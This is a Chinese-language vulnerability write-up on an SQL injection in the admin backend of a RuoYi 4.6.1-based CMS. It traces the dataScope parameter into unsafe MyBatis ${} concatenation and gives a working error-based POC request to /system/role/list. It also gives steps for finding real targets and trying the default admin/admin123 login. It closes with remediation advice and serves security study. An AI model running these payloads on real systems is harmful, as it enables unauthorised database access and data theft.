某大型CMS后台注入从分析到利用
字数 1181 2025-08-09 17:09:35
某大型CMS后台SQL注入漏洞分析与利用教学文档
漏洞概述
本文档详细分析某大型CMS(基于若依4.6.1版本)后台存在的SQL注入漏洞,从环境搭建到漏洞利用全过程,重点解析漏洞原理和利用方法。
环境搭建
- 获取源码:从Github下载若依4.6.1版本
- 数据库配置:
- 导入数据库文件
- 修改druid连接池配置文件中的username和password
- 服务配置:
- 修改application.yml文件中的服务端口(默认80端口若被占用需修改)
- 运行项目:配置完成后可直接运行
漏洞分析
污点传播路径
- 入口点:
SysRoleController.java第56行,role参数为初始污点源 - 传播路径:
role→SysRole.java第37行 →dataScope属性- →
SysRoleMapper.java第19行 →selectRoleList方法 - →
SysRoleMapper.xml第36行 → SQL语句拼接触发注入
关键代码分析
- 控制器层:
/system/role/list接口接收POST请求,参数role传入startPage()方法 - 分页处理:
TableSupport.buildPageRequest()通过ServletUtils从POST数据获取参数 - SQL拼接:
SysRoleMapper.xml中直接使用${params.dataScope}进行SQL拼接,未做过滤处理
漏洞利用
POC构造
完整POC分为两部分:
-
分页参数部分(可为空):
pageSize=&pageNum=&orderByColumn=&isAsc= -
注入参数部分:
roleName=&roleKey=&status=¶ms[beginTime]=¶ms[endTime]=¶ms[dataScope]=[注入语句]
示例利用
获取数据库名:
POST /system/role/list
pageSize=&pageNum=&orderByColumn=&isAsc=&roleName=&roleKey=&status=¶ms[beginTime]=¶ms[endTime]=¶ms[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))
其他利用
- 获取表名:修改注入语句为
select table_name from information_schema.tables - 获取列名:修改注入语句为
select column_name from information_schema.columns
实际测试步骤
- 访问目标:确认目标使用若依CMS
- 登录后台:尝试弱口令如admin/admin123
- 抓包修改:拦截
/system/role/list请求,按上述POC格式修改POST数据 - 获取信息:通过报错回显获取数据库信息
防御建议
- 使用预编译语句(PreparedStatement)替代直接SQL拼接
- 对用户输入进行严格过滤和转义
- 使用MyBatis时避免使用
${}而应使用#{} - 最小权限原则,限制数据库用户权限
总结
该漏洞源于未对用户输入的dataScope参数进行过滤,直接拼接至SQL语句中。通过分析污点传播路径,可以构造特定的POST请求实现SQL注入攻击。理解该漏洞有助于提高代码审计能力和安全开发意识。
注:本文仅用于安全研究学习,请勿用于非法用途。